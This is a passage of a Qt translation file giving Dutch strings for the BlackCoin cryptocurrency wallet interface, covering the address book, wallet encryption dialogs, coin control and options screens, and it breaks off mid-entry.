<?xml version="1.0" ?><!DOCTYPE TS><TS language="nl" version="2.1"> <context> <name>AboutDialog</name> <message> <location filename="../forms/aboutdialog.ui" line="+14"/> <source>About BlackCoin</source> <translation>Over BlackCoin</translation> </message> <message> <location line="+39"/> <source>&lt;b&gt;BlackCoin&lt;/b&gt; version</source> <translation>&lt;b&gt;BlackCoin&lt;/b&gt; versie</translation> </message> <message> <location line="+41"/> <source>Copyright © 2009-2014 The Bitcoin developers Copyright © 2012-2014 The NovaCoin developers Copyright © 2014 The BlackCoin developers</source> <translation>Copyright © 2009-2014 De Bitcoin ontwikkelaars Copyright © 2012-2014 De NovaCoin ontwikkelaars Copyright © 2014 De BlackCoin ontwikkelaars</translation> </message> <message> <location line="+15"/> <source> This is experimental software. Distributed under the MIT/X11 software license, see the accompanying file COPYING or &lt;a href=&quot;http://www.opensource.org/licenses/mit-license.php&quot;&gt;http://www.opensource.org/licenses/mit-license.php&lt;/a&gt;. This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (&lt;a href=&quot;https://www.openssl.org/&quot;&gt;https://www.openssl.org/&lt;/a&gt;) and cryptographic software written by Eric Young (&lt;a href=&quot;mailto:eay@cryptsoft.com&quot;&gt;eay@cryptsoft.com&lt;/a&gt;) and UPnP software written by Thomas Bernard.</source> <translation type="unfinished"/> </message> </context> <context> <name>AddressBookPage</name> <message> <location filename="../forms/addressbookpage.ui" line="+14"/> <source>Address Book</source> <translation>Adresboek</translation> </message> <message> <location line="+22"/> <source>Double-click to edit address or label</source> <translation>Dubbelklik om het adres of label te wijzigen</translation> </message> <message> <location line="+24"/> <source>Create a new address</source> <translation>Maak een nieuw adres aan</translation> </message> <message> <location line="+10"/> <source>Copy the currently selected address to the system clipboard</source> <translation>Kopieer het huidig geselecteerde adres naar het klembord</translation> </message> <message> <location line="-7"/> <source>&amp;New Address</source> <translation>&amp;Nieuw adres</translation> </message> <message> <location line="-43"/> <source>These are your BlackCoin addresses for receiving payments. You may want to give a different one to each sender so you can keep track of who is paying you.</source> <translation>Dit zijn al jou BlackCoin adressen om betalingen mee te ontvangen. Je kunt iedere verzender een apart adres geven zodat je kunt volgen wie jou betaald.</translation> </message> <message> <location line="+53"/> <source>&amp;Copy Address</source> <translation>&amp;Kopiëer Adres</translation> </message> <message> <location line="+7"/> <source>Show &amp;QR Code</source> <translation>Toon &amp;QR Code</translation> </message> <message> <location line="+7"/> <source>Sign a message to prove you own a BlackCoin address</source> <translation>Teken een bericht om te bewijzen dat je een BlackCoin adres bezit.</translation> </message> <message> <location line="+3"/> <source>Sign &amp;Message</source> <translation>Teken &amp;Bericht</translation> </message> <message> <location line="+17"/> <source>Delete the currently selected address from the list</source> <translation>Verwijder het geselecteerde adres van de lijst</translation> </message> <message> <location line="-10"/> <source>Verify a message to ensure it was signed with a specified BlackCoin address</source> <translation>Verifieer een bericht om zeker te zijn dat deze is ondertekend met een specifiek BlackCoin adres</translation> </message> <message> <location line="+3"/> <source>&amp;Verify Message</source> <translation>&amp;Verifieer Bericht</translation> </message> <message> <location line="+10"/> <source>&amp;Delete</source> <translation>&amp;Verwijder</translation> </message> <message> <location filename="../addressbookpage.cpp" line="+66"/> <source>Copy &amp;Label</source> <translation>Kopiëer &amp;Label</translation> </message> <message> <location line="+1"/> <source>&amp;Edit</source> <translation>&amp;Bewerk</translation> </message> <message> <location line="+248"/> <source>Export Address Book Data</source> <translation>Exporteer Adresboek Data</translation> </message> <message> <location line="+1"/> <source>Comma separated file (*.csv)</source> <translation>Kommagescheiden bestand (*.csv)</translation> </message> <message> <location line="+13"/> <source>Error exporting</source> <translation>Fout bij exporteren</translation> </message> <message> <location line="+0"/> <source>Could not write to file %1.</source> <translation>Kan niet schrijven naat bestand %1</translation> </message> </context> <context> <name>AddressTableModel</name> <message> <location filename="../addresstablemodel.cpp" line="+145"/> <source>Label</source> <translation>Label</translation> </message> <message> <location line="+0"/> <source>Address</source> <translation>Adres</translation> </message> <message> <location line="+36"/> <source>(no label)</source> <translation>(geen label)</translation> </message> </context> <context> <name>AskPassphraseDialog</name> <message> <location filename="../forms/askpassphrasedialog.ui" line="+26"/> <source>Passphrase Dialog</source> <translation>Wachtwoordscherm</translation> </message> <message> <location line="+21"/> <source>Enter passphrase</source> <translation>Voer wachtwoord in</translation> </message> <message> <location line="+14"/> <source>New passphrase</source> <translation>Nieuw wachtwoord</translation> </message> <message> <location line="+14"/> <source>Repeat new passphrase</source> <translation>Herhaal wachtwoord</translation> </message> <message> <location line="+33"/> <source>Serves to disable the trivial sendmoney when OS account compromised. Provides no real security.</source> <translation>Bedoeld om het command &apos;sendmoney&apos; uit te schakelen indien het OS niet meer veilig is. Geeft geen echte beveiliging.</translation> </message> <message> <location line="+3"/> <source>For staking only</source> <translation>Alleen voor staking</translation> </message> <message> <location filename="../askpassphrasedialog.cpp" line="+38"/> <source>Encrypt wallet</source> <translation>Versleutel portemonnee</translation> </message> <message> <location line="+7"/> <source>This operation needs your wallet passphrase to unlock the wallet.</source> <translation>Deze operatie vereist uw portemonneewachtwoord om de portemonnee te openen.</translation> </message> <message> <location line="+5"/> <source>Unlock wallet</source> <translation>Open portemonnee</translation> </message> <message> <location line="+3"/> <source>This operation needs your wallet passphrase to decrypt the wallet.</source> <translation>Deze operatie vereist uw portemonneewachtwoord om de portemonnee te ontsleutelen</translation> </message> <message> <location line="+5"/> <source>Decrypt wallet</source> <translation>Ontsleutel portemonnee</translation> </message> <message> <location line="+3"/> <source>Change passphrase</source> <translation>Wijzig wachtwoord</translation> </message> <message> <location line="+1"/> <source>Enter the old and new passphrase to the wallet.</source> <translation>Vul uw oude en nieuwe portemonneewachtwoord in.</translation> </message> <message> <location line="+45"/> <source>Confirm wallet encryption</source> <translation>Bevestig versleuteling van de portemonnee</translation> </message> <message> <location line="+1"/> <source>Warning: If you encrypt your wallet and lose your passphrase, you will &lt;b&gt;LOSE ALL OF YOUR COINS&lt;/b&gt;!</source> <translation>Waarschuwing: Als je je portemonnee versleuteld en je verliest je wachtwoord zul je &lt;b&gt;AL JE MUNTEN VERLIEZEN&lt;/b&gt;!</translation> </message> <message> <location line="+0"/> <source>Are you sure you wish to encrypt your wallet?</source> <translation>Weet u zeker dat u uw portemonnee wilt versleutelen?</translation> </message> <message> <location line="+15"/> <source>IMPORTANT: Any previous backups you have made of your wallet file should be replaced with the newly generated, encrypted wallet file. For security reasons, previous backups of the unencrypted wallet file will become useless as soon as you start using the new, encrypted wallet.</source> <translation>BELANGRIJK: Elke eerder gemaakte backup van uw portemonneebestand dient u te vervangen door het nieuw gegenereerde, versleutelde portemonneebestand. Om veiligheidsredenen zullen eerdere backups van het niet-versleutelde portemonneebestand onbruikbaar worden zodra u uw nieuwe, versleutelde, portemonnee begint te gebruiken.</translation> </message> <message> <location line="+103"/> <location line="+24"/> <source>Warning: The Caps Lock key is on!</source> <translation>Waarschuwing: De Caps-Lock-toets staat aan!</translation> </message> <message> <location line="-133"/> <location line="+60"/> <source>Wallet encrypted</source> <translation>Portemonnee versleuteld</translation> </message> <message> <location line="-140"/> <source>Enter the new passphrase to the wallet.&lt;br/&gt;Please use a passphrase of &lt;b&gt;ten or more random characters&lt;/b&gt;, or &lt;b&gt;eight or more words&lt;/b&gt;.</source> <translation type="unfinished"/> </message> <message> <location line="+82"/> <source>BlackCoin will close now to finish the encryption process. Remember that encrypting your wallet cannot fully protect your coins from being stolen by malware infecting your computer.</source> <translation>BlackCoin zal nu sluiten om het versleutel proces te voltooien. Onthou dat het versleutelen van je portemonnee je niet volledig beschermt tegen diefstal van munten door malware op je computer.</translation> </message> <message> <location line="+13"/> <location line="+7"/> <location line="+44"/> <location line="+6"/> <source>Wallet encryption failed</source> <translation>Portemonneeversleuteling mislukt</translation> </message> <message> <location line="-56"/> <source>Wallet encryption failed due to an internal error. Your wallet was not encrypted.</source> <translation>Portemonneeversleuteling mislukt door een interne fout. Uw portemonnee is niet versleuteld.</translation> </message> <message> <location line="+7"/> <location line="+50"/> <source>The supplied passphrases do not match.</source> <translation>De opgegeven wachtwoorden komen niet overeen</translation> </message> <message> <location line="-38"/> <source>Wallet unlock failed</source> <translation>Portemonnee openen mislukt</translation> </message> <message> <location line="+1"/> <location line="+12"/> <location line="+19"/> <source>The passphrase entered for the wallet decryption was incorrect.</source> <translation>Het opgegeven wachtwoord voor de portemonnee-ontsleuteling is niet correct.</translation> </message> <message> <location line="-20"/> <source>Wallet decryption failed</source> <translation>Portemonnee-ontsleuteling mislukt</translation> </message> <message> <location line="+14"/> <source>Wallet passphrase was successfully changed.</source> <translation>Portemonneewachtwoord is met succes gewijzigd.</translation> </message> </context> <context> <name>BitcoinGUI</name> <message> <location filename="../bitcoingui.cpp" line="+297"/> <source>Sign &amp;message...</source> <translation>&amp;Onderteken bericht...</translation> </message> <message> <location line="-64"/> <source>Show general overview of wallet</source> <translation>Toon algemeen overzicht van de portemonnee</translation> </message> <message> <location line="+17"/> <source>&amp;Transactions</source> <translation>&amp;Transacties</translation> </message> <message> <location line="+1"/> <source>Browse transaction history</source> <translation>Blader door transactieverleden</translation> </message> <message> <location line="+5"/> <source>&amp;Address Book</source> <translation>&amp;Adresboek</translation> </message> <message> <location line="+1"/> <source>Edit the list of stored addresses and labels</source> <translation>Wijzig de lijst met bewaarde adressen en labels</translation> </message> <message> <location line="-18"/> <source>Show the list of addresses for receiving payments</source> <translation>Toon de lijst aan adressen voor ontvangen betalingen</translation> </message> <message> <location line="+34"/> <source>E&amp;xit</source> <translation>&amp;Afsluiten</translation> </message> <message> <location line="+1"/> <source>Quit application</source> <translation>Programma afsluiten</translation> </message> <message> <location line="+4"/> <source>Show information about BlackCoin</source> <translation>Toon informatie over BlackCoin</translation> </message> <message> <location line="+2"/> <source>About &amp;Qt</source> <translation>Over &amp;Qt</translation> </message> <message> <location line="+1"/> <source>Show information about Qt</source> <translation>Toon informatie over Qt</translation> </message> <message> <location line="+2"/> <source>&amp;Options...</source> <translation>&amp;Opties...</translation> </message> <message> <location line="+4"/> <source>&amp;Encrypt Wallet...</source> <translation>&amp;Versleutel Portemonnee...</translation> </message> <message> <location line="+2"/> <source>&amp;Backup Wallet...</source> <translation>&amp;Backup Portemonnee...</translation> </message> <message> <location line="+2"/> <source>&amp;Change Passphrase...</source> <translation>&amp;Wijzig Wachtwoord</translation> </message> <message> <location line="+9"/> <source>&amp;Export...</source> <translation>&amp;Exporteren...</translation> </message> <message> <location line="-55"/> <source>Send coins to a BlackCoin address</source> <translation>Verstuur munten naar een BlackCoin adres</translation> </message> <message> <location line="+39"/> <source>Modify configuration options for BlackCoin</source> <translation>Verander configuratie opties voor BlackCoin</translation> </message> <message> <location line="+17"/> <source>Export the data in the current tab to a file</source> <translation>Exporteer de data in de huidige tab naar een bestand</translation> </message> <message> <location line="-13"/> <source>Encrypt or decrypt wallet</source> <translation>Versleutel of ontsleutel de portemonnee</translation> </message> <message> <location line="+2"/> <source>Backup wallet to another location</source> <translation>Backup portemonnee naar een andere locatie</translation> </message> <message> <location line="+2"/> <source>Change the passphrase used for wallet encryption</source> <translation>Wijzig het wachtwoord voor uw portemonneversleuteling</translation> </message> <message> <location line="+10"/> <source>&amp;Debug window</source> <translation>&amp;Debugscherm</translation> </message> <message> <location line="+1"/> <source>Open debugging and diagnostic console</source> <translation>Open debugging en diagnostische console</translation> </message> <message> <location line="-5"/> <source>&amp;Verify message...</source> <translation>&amp;Verifiëer bericht...</translation> </message> <message> <location line="-214"/> <location line="+555"/> <source>BlackCoin</source> <translation>BlackCoin</translation> </message> <message> <location line="-555"/> <source>Wallet</source> <translation>Portemonnee</translation> </message> <message> <location line="+193"/> <source>&amp;About BlackCoin</source> <translation>&amp;Over BlackCoin</translation> </message> <message> <location line="+9"/> <source>&amp;Show / Hide</source> <translation>&amp;Toon / Verberg</translation> </message> <message> <location line="+8"/> <source>Unlock wallet</source> <translation>Open portemonnee</translation> </message> <message> <location line="+1"/> <source>&amp;Lock Wallet</source> <translation>&amp;Sluit portemonnee</translation> </message> <message> <location line="+1"/> <source>Lock wallet</source> <translation>Sluit portemonnee</translation> </message> <message> <location line="+32"/> <source>&amp;File</source> <translation>&amp;Bestand</translation> </message> <message> <location line="+8"/> <source>&amp;Settings</source> <translation>&amp;Instellingen</translation> </message> <message> <location line="+8"/> <source>&amp;Help</source> <translation>&amp;Hulp</translation> </message> <message> <location line="+17"/> <source>Tabs toolbar</source> <translation>Tab-werkbalk</translation> </message> <message> <location line="+46"/> <location line="+9"/> <source>[testnet]</source> <translation>[testnetwerk]</translation> </message> <message> <location line="+0"/> <location line="+58"/> <source>BlackCoin client</source> <translation>BlackCoin client</translation> </message> <message numerus="yes"> <location line="+70"/> <source>%n active connection(s) to BlackCoin network</source> <translation><numerusform>%n actieve verbinding naar BlackCoin netwerk</numerusform><numerusform>%n actieve verbindingen naar BlackCoin netwerk</numerusform></translation> </message> <message> <location line="+488"/> <source>Staking.&lt;br&gt;Your weight is %1&lt;br&gt;Network weight is %2&lt;br&gt;Expected time to earn reward is %3</source> <translation>Staking. &lt;br&gt; Uw gewicht wordt %1 &lt;br&gt; Network gewicht is %2 &lt;br&gt; Verwachte tijd om beloning te verdienen is %3</translation> </message> <message> <location line="+6"/> <source>Not staking because wallet is locked</source> <translation>Niet staking omdat portemonnee beveiligd is</translation> </message> <message> <location line="+2"/> <source>Not staking because wallet is offline</source> <translation>Niet staking omdat portemonnee offline is</translation> </message> <message> <location line="+2"/> <source>Not staking because wallet is syncing</source> <translation>Niet staking omdat portemonnee aan het synchroniseren is.</translation> </message> <message> <location line="+2"/> <source>Not staking because you don&apos;t have mature coins</source> <translation>Niet staking omdat je geen mature munten hebt</translation> </message> <message> <location line="-812"/> <source>&amp;Dashboard</source> <translation type="unfinished"/> </message> <message> <location line="+6"/> <source>&amp;Receive</source> <translation>&amp;Ontvangen</translation> </message> <message> <location line="+6"/> <source>&amp;Send</source> <translation>&amp;Verzenden</translation> </message> <message> <location line="+49"/> <source>&amp;Unlock Wallet...</source> <translation>Ontgrendel portemonnee...</translation> </message> <message> <location line="+277"/> <source>Up to date</source> <translation>Bijgewerkt</translation> </message> <message> <location line="+43"/> <source>Catching up...</source> <translation>Aan het bijwerken...</translation> </message> <message> <location line="+113"/> <source>Confirm transaction fee</source> <translation>Bevestig transactie kosten</translation> </message> <message> <location line="+27"/> <source>Sent transaction</source> <translation>Verzonden transactie</translation> </message> <message> <location line="+1"/> <source>Incoming transaction</source> <translation>Binnenkomende transactie</translation> </message> <message> <location line="+1"/> <source>Date: %1 Amount: %2 Type: %3 Address: %4 </source> <translation>Datum: %1 Bedrag: %2 Type: %3 Adres: %4 </translation> </message> <message> <location line="+100"/> <location line="+15"/> <source>URI handling</source> <translation>URI-behandeling</translation> </message> <message> <location line="-15"/> <location line="+15"/> <source>URI can not be parsed! This can be caused by an invalid BlackCoin address or malformed URI parameters.</source> <translation>URI kan niet ontleedt worden! Mogelijke oorzaken zijn een ongeldig BlackCoin adres of incorrecte URI parameters.</translation> </message> <message> <location line="+9"/> <source>Wallet is &lt;b&gt;not encrypted&lt;/b&gt;</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>Wallet is &lt;b&gt;encrypted&lt;/b&gt; and currently &lt;b&gt;unlocked&lt;/b&gt;</source> <translation>Portemonnee is &lt;b&gt;versleuteld&lt;/b&gt; en momenteel &lt;b&gt;geopend&lt;/b&gt;</translation> </message> <message> <location line="+8"/> <source>Wallet is &lt;b&gt;encrypted&lt;/b&gt; and currently &lt;b&gt;locked&lt;/b&gt;</source> <translation>Portemonnee is &lt;b&gt;versleuteld&lt;/b&gt; en momenteel &lt;b&gt;gesloten&lt;/b&gt;</translation> </message> <message> <location line="+24"/> <source>Backup Wallet</source> <translation>Backup Portemonnee</translation> </message> <message> <location line="+0"/> <source>Wallet Data (*.dat)</source> <translation>Portemonnee bestanden (*.dat)</translation> </message> <message> <location line="+3"/> <source>Backup Failed</source> <translation>Backup mislukt</translation> </message> <message> <location line="+0"/> <source>There was an error trying to save the wallet data to the new location.</source> <translation>Er was een fout opgetreden bij het opslaan van de wallet data naar de nieuwe locatie.</translation> </message> <message numerus="yes"> <location line="+91"/> <source>%n second(s)</source> <translation><numerusform>%n seconden</numerusform><numerusform>%n seconden</numerusform></translation> </message> <message numerus="yes"> <location line="+4"/> <source>%n minute(s)</source> <translation><numerusform>%n minuut</numerusform><numerusform>%n minuten</numerusform></translation> </message> <message numerus="yes"> <location line="-429"/> <location line="+433"/> <source>%n hour(s)</source> <translation><numerusform>%n uur</numerusform><numerusform>%n uur</numerusform></translation> </message> <message> <location line="-456"/> <source>Processed %1 blocks of transaction history.</source> <translation type="unfinished"/> </message> <message numerus="yes"> <location line="+27"/> <location line="+433"/> <source>%n day(s)</source> <translation><numerusform>%n dag</numerusform><numerusform>%n dagen</numerusform></translation> </message> <message numerus="yes"> <location line="-429"/> <location line="+6"/> <source>%n week(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation> </message> <message> <location line="+0"/> <source>%1 and %2</source> <translation type="unfinished"/> </message> <message numerus="yes"> <location line="+0"/> <source>%n year(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation> </message> <message> <location line="+5"/> <source>%1 behind</source> <translation type="unfinished"/> </message> <message> <location line="+15"/> <source>Last received block was generated %1 ago.</source> <translation>Laatst ontvangen block was %1 geleden</translation> </message> <message> <location line="+2"/> <source>Transactions after this will not yet be visible.</source> <translation type="unfinished"/> </message> <message> <location line="+23"/> <source>Error</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Warning</source> <translation>Waarschuwing</translation> </message> <message> <location line="+3"/> <source>Information</source> <translation>Informatie</translation> </message> <message> <location line="+69"/> <source>This transaction is over the size limit. You can still send it for a fee of %1, which goes to the nodes that process your transaction and helps to support the network. Do you want to pay the fee?</source> <translation type="unfinished"/> </message> <message> <location line="+324"/> <source>Not staking</source> <translation>Niet aan het staken.</translation> </message> <message> <location filename="../bitcoin.cpp" line="+104"/> <source>A fatal error occurred. BlackCoin can no longer continue safely and will quit.</source> <translation>Een fatale fout . Blackcoin kan niet langer veilig doorgaan en sluit af.</translation> </message> </context> <context> <name>ClientModel</name> <message> <location filename="../clientmodel.cpp" line="+110"/> <source>Network Alert</source> <translation>Netwerkwaarschuwing</translation> </message> </context> <context> <name>CoinControlDialog</name> <message> <location filename="../forms/coincontroldialog.ui" line="+14"/> <source>Coin Control</source> <translation>Coin controle opties</translation> </message> <message> <location line="+31"/> <source>Quantity:</source> <translation>Kwantiteit</translation> </message> <message> <location line="+32"/> <source>Bytes:</source> <translation>Bytes:</translation> </message> <message> <location line="+48"/> <source>Amount:</source> <translation>Bedrag:</translation> </message> <message> <location line="+32"/> <source>Priority:</source> <translation>Prioriteit:</translation> </message> <message> <location line="+48"/> <source>Fee:</source> <translation>Vergoeding:</translation> </message> <message> <location line="+35"/> <source>Low Output:</source> <translation>Lage uitvoer:</translation> </message> <message> <location filename="../coincontroldialog.cpp" line="+537"/> <source>no</source> <translation>nee</translation> </message> <message> <location filename="../forms/coincontroldialog.ui" line="+51"/> <source>After Fee:</source> <translation>Na vergoeding:</translation> </message> <message> <location line="+35"/> <source>Change:</source> <translation>Wijzigen:</translation> </message> <message> <location line="+69"/> <source>(un)select all</source> <translation>(de)selecteer alles</translation> </message> <message> <location line="+13"/> <source>Tree mode</source> <translation>Boom modus</translation> </message> <message> <location line="+16"/> <source>List mode</source> <translation>Lijst modus</translation> </message> <message> <location line="+45"/> <source>Amount</source> <translation>Bedrag</translation> </message> <message> <location line="+5"/> <source>Label</source> <translation>Label</translation> </message> <message> <location line="+5"/> <source>Address</source> <translation>Adres</translation> </message> <message> <location line="+5"/> <source>Date</source> <translation>Datum</translation> </message> <message> <location line="+5"/> <source>Confirmations</source> <translation>Bevestigingen</translation> </message> <message> <location line="+3"/> <source>Confirmed</source> <translation>Bevestigd</translation> </message> <message> <location line="+5"/> <source>Priority</source> <translation>Prioriteit</translation> </message> <message> <location filename="../coincontroldialog.cpp" line="-500"/> <source>Copy address</source> <translation>Kopieer adres</translation> </message> <message> <location line="+1"/> <source>Copy label</source> <translation>Kopieer label</translation> </message> <message> <location line="+1"/> <location line="+26"/> <source>Copy amount</source> <translation>Kopieer bedrag</translation> </message> <message> <location line="-25"/> <source>Copy transaction ID</source> <translation>Kopieer transactie-ID</translation> </message> <message> <location line="+24"/> <source>Copy quantity</source> <translation>Kopieer aantal</translation> </message> <message> <location line="+2"/> <source>Copy fee</source> <translation>Kopieer vergoeding</translation> </message> <message> <location line="+1"/> <source>Copy after fee</source> <translation>Kopieer na vergoeding</translation> </message> <message> <location line="+1"/> <source>Copy bytes</source> <translation>Kopieer bytes</translation> </message> <message> <location line="+1"/> <source>Copy priority</source> <translation>Kopieer prioriteit</translation> </message> <message> <location line="+1"/> <source>Copy low output</source> <translation>Kopieer lage uitvoer</translation> </message> <message> <location line="+1"/> <source>Copy change</source> <translation>Kopieer wijzig</translation> </message> <message> <location line="+317"/> <source>highest</source> <translation>hoogste</translation> </message> <message> <location line="+1"/> <source>high</source> <translation>hoog</translation> </message> <message> <location line="+1"/> <source>medium-high</source> <translation>gemiddeld hoog</translation> </message> <message> <location line="+1"/> <source>medium</source> <translation>gemiddeld</translation> </message> <message> <location line="+4"/> <source>low-medium</source> <translation>laag gemiddeld</translation> </message> <message> <location line="+1"/> <source>low</source> <translation>laag</translation> </message> <message> <location line="+1"/> <source>lowest</source> <translation>laagste</translation> </message> <message> <location line="+140"/> <source>DUST</source> <translation>STOF</translation> </message> <message> <location line="+0"/> <source>yes</source> <translation>ja</translation> </message> <message> <location line="+10"/> <source>This label turns red, if the transaction size is bigger than 10000 bytes. This means a fee of at least %1 per kb is required. Can vary +/- 1 Byte per input.</source> <translation>Dit label wordt rood, als de transactie grootte groter is dan 10000 bytes.&lt;br&gt; Dit betekend een fee van minimaal %1 per kb is noodzakelijk.&lt;br&gt; Kan varieren van +/- 1 Byte per invulling</translation> </message> <message> <location line="+1"/> <source>Transactions with higher priority get more likely into a block. This label turns red, if the priority is smaller than &quot;medium&quot;. This means a fee of at least %1 per kb is required.</source> <translation>Transacties met hogere prioriteit komen sneller in een blok Dit label wordt rood, als de prioriteit kleiner is dan &quot;normaal&quot;. Dit betekend een fee van minimaal %1 per kb is noodzakelijk.</translation> </message> <message> <location line="+1"/> <source>This label turns red, if any recipient receives an amount smaller than %1. This means a fee of at least %2 is required. Amounts below 0.546 times the minimum relay fee are shown as DUST.</source> <translation>Dit label wordt rood, als elke ontvanger ontvangt een bedrag dat kleiner is dan 1%. Dit betekent dat een vergoeding van ten minste 2% is vereist. Bedragen onder 0.546 keer het minimum vergoeding worden weergegeven als DUST.</translation> </message> <message> <location line="+1"/> <source>This label turns red, if the change is smaller than %1. This means a fee of at least %2 is required.</source> <translation>Dit label wordt rood, als de verandering kleiner is dan %1. Dit betekend dat een fee van %2 is vereist.</translation> </message> <message> <location line="+36"/> <location line="+66"/> <source>(no label)</source> <translation>(geen label)</translation> </message> <message> <location line="-9"/> <source>change from %1 (%2)</source> <translation>wijzig van %1 (%2)</translation> </message> <message> <location line="+1"/> <source>(change)</source> <translation>(wijzig)</translation> </message> </context> <context> <name>EditAddressDialog</name> <message> <location filename="../forms/editaddressdialog.ui" line="+14"/> <source>Edit Address</source> <translation>Bewerk Adres</translation> </message> <message> <location line="+11"/> <source>&amp;Label</source> <translation>&amp;Label</translation> </message> <message> <location line="+10"/> <source>The label associated with this address book entry</source> <translation>Het label geassocieerd met deze notitie in het adresboek</translation> </message> <message> <location line="+7"/> <source>&amp;Address</source> <translation>&amp;Adres</translation> </message> <message> <location line="+10"/> <source>The address associated with this address book entry. This can only be modified for sending addresses.</source> <translation>Het adres geassocieerd met deze notitie in het adresboek. Dit kan enkel aangepast worden bij verzend-adressen.</translation> </message> <message> <location filename="../editaddressdialog.cpp" line="+21"/> <source>New receiving address</source> <translation>Nieuw ontvangstadres</translation> </message> <message> <location line="+4"/> <source>New sending address</source> <translation>Nieuw adres om naar te verzenden</translation> </message> <message> <location line="+3"/> <source>Edit receiving address</source> <translation>Bewerk ontvangstadres</translation> </message> <message> <location line="+4"/> <source>Edit sending address</source> <translation>Bewerk adres om naar te verzenden</translation> </message> <message> <location line="+76"/> <source>The entered address &quot;%1&quot; is already in the address book.</source> <translation>Het opgegeven adres &quot;%1&quot; bestaat al in uw adresboek.</translation> </message> <message> <location line="-5"/> <source>The entered address &quot;%1&quot; is not a valid BlackCoin address.</source> <translation>Het ingevoerde adres &quot;%1&quot; is geen geldig Blackcoin adres.</translation> </message> <message> <location line="+10"/> <source>Could not unlock wallet.</source> <translation>Kon de portemonnee niet openen.</translation> </message> <message> <location line="+5"/> <source>New key generation failed.</source> <translation>Genereren nieuwe sleutel mislukt.</translation> </message> </context> <context> <name>GUIUtil::HelpMessageBox</name> <message> <location filename="../guiutil.cpp" line="+426"/> <location line="+12"/> <source>BlackCoin-Qt</source> <translation>BlackCoin-Qt</translation> </message> <message> <location line="-12"/> <source>version</source> <translation>versie</translation> </message> <message> <location line="+2"/> <source>Usage:</source> <translation>Gebruik:</translation> </message> <message> <location line="+1"/> <source>command-line options</source> <translation>Commandoregel-opties</translation> </message> <message> <location line="+4"/> <source>UI options</source> <translation>Gebruikerinterface-opties</translation> </message> <message> <location line="+1"/> <source>Set language, for example &quot;de_DE&quot; (default: system locale)</source> <translation>Stel taal in, bijvoorbeeld &quot;de_DE&quot; (standaard: systeeminstellingen)</translation> </message> <message> <location line="+1"/> <source>Start minimized</source> <translation>Geminimaliseerd starten</translation> </message> <message> <location line="+1"/> <source>Show splash screen on startup (default: 1)</source> <translation>Laat laadscherm zien bij het opstarten. (standaard: 1)</translation> </message> </context> <context> <name>OptionsDialog</name> <message> <location filename="../forms/optionsdialog.ui" line="+14"/> <source>Options</source> <translation>Opties</translation> </message> <message> <location line="+16"/> <source>&amp;Main</source> <translation>&amp;Algemeen</translation> </message> <message> <location line="+6"/> <source>Optional transaction fee per kB that helps make sure your transactions are processed quickly. Most transactions are 1 kB. Fee 0.01 recommended.</source> <translation>Optioneel transactiekosten per kB dat helpt ervoor zorgen dat uw transacties worden snel verwerkt. De meeste transacties zijn 1 kB. Fee 0.01 aanbevolen.</translation> </message> <message> <location line="+15"/> <source>Pay transaction &amp;fee</source> <translation>Betaal &amp;transactiekosten</translation> </message> <message> <location line="+31"/> <source>Reserved amount does not participate in staking and is therefore spendable at any time.</source> <translation>Gereserveerde hoeveelheid doet niet mee in staking en is daarom altijd uitgeefbaar.</translation> </message> <message> <location line="+15"/> <source>Reserve</source> <translation>Gereserveerd</translation> </message> <message> <location line="+31"/> <source>Automatically start BlackCoin after logging in to the system.</source> <translation>Automatisch starten van Blackcoin na inloggen van het systeem.</translation> </message> <message> <location line="+3"/> <source>&amp;Start BlackCoin on system login</source> <translation>&amp;Start Blackcoin bij systeem aanmelding</translation> </message> <message> <location line="+21"/> <source>&amp;Network</source> <translation>&amp;Netwerk</translation> </message> <message> <location line="+6"/> <source>Automatically open the BlackCoin client port on the router. This only works when your router supports UPnP and it is enabled.</source> <translation>De BlackCoin client poort automatisch openen op de router. Dit werkt alleen wanneer uw router UPnP ondersteunt en deze is ingeschakeld.</translation> </message> <message> <location line="+3"/> <source>Map port using &amp;UPnP</source> <translation>Portmapping via &amp;UPnP</translation> </message> <message> <location line="+19"/> <source>Proxy &amp;IP:</source> <translation>Proxy &amp;IP:</translation> </message> <message> <location line="+19"/> <source>IP address of the proxy (e.g. 127.0.0.1)</source> <translation>IP Adres van de proxy (bijv. 127.0.0.1)</translation> </message> <message> <location line="+7"/> <source>&amp;Port:</source> <translation>&amp;Poort:</translation> </message> <message> <location line="+19"/> <source>Port of the proxy (e.g. 9050)</source> <translation>Poort van de proxy (bijv. 9050)</translation> </message> <message> <location line="-57"/> <source>Connect to the BlackCoin network through a SOCKS5 proxy (e.g. when connecting through Tor).</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>&amp;Connect through SOCKS5 proxy:</source> <translation type="unfinished"/> </message> <message> <location line="+90"/> <source>&amp;Window</source> <translation>&amp;Scherm</translation> </message> <message> <location line="+6"/> <source>Show only a tray icon after minimizing the window.</source> <translation>Laat alleen een systeemvak-icoon zien wanneer het venster geminimaliseerd is</translation> </message> <message> <location line="+3"/> <source>&amp;Minimize to the tray instead of the taskbar</source> <translation>&amp;Minimaliseer naar het systeemvak in plaats van de taakbalk</translation> </message> <message> <location line="+7"/> <source>Minimize instead of exit the application when the window is closed. When this option is enabled, the application will be closed only after selecting Quit in the menu.</source> <translation>Minimaliseer het venster in de plaats van de applicatie af te sluiten als het venster gesloten wordt. Wanneer deze optie aan staan, kan de applicatie alleen worden afgesloten door Afsluiten te kiezen in het menu.</translation> </message> <message> <location line="+3"/> <source>M&amp;inimize on close</source> <translation>Minimaliseer bij sluiten van het &amp;venster</translation> </message> <message> <location line="+21"/> <source>&amp;Display</source> <translation>&amp;Interface</translation> </message> <message> <location line="+8"/> <source>User Interface &amp;language:</source> <translation>Taal &amp;Gebruikersinterface:</translation> </message> <message> <location line="+13"/> <source>The user interface language can be set here. This setting will take effect after restarting BlackCoin.</source> <translation>De user interface-taal kan hier ingesteld worden. Deze instelling word toegepast na BlackCoin opnieuw op te starten.</translation> </message> <message> <location line="+11"/> <source>&amp;Unit to show amounts in:</source> <translation>&amp;Eenheid om bedrag in te tonen:</translation> </message> <message> <location line="+13"/> <source>Choose the default subdivision unit to show in the interface and when sending coins.</source> <translation>Kies de standaard onderverdelingseenheid om weer te geven in uw programma, en voor het versturen van munten</translation> </message> <message> <location line="+9"/> <source>Whether to show coin control features or not.</source> <translation>Munt controle functies weergeven of 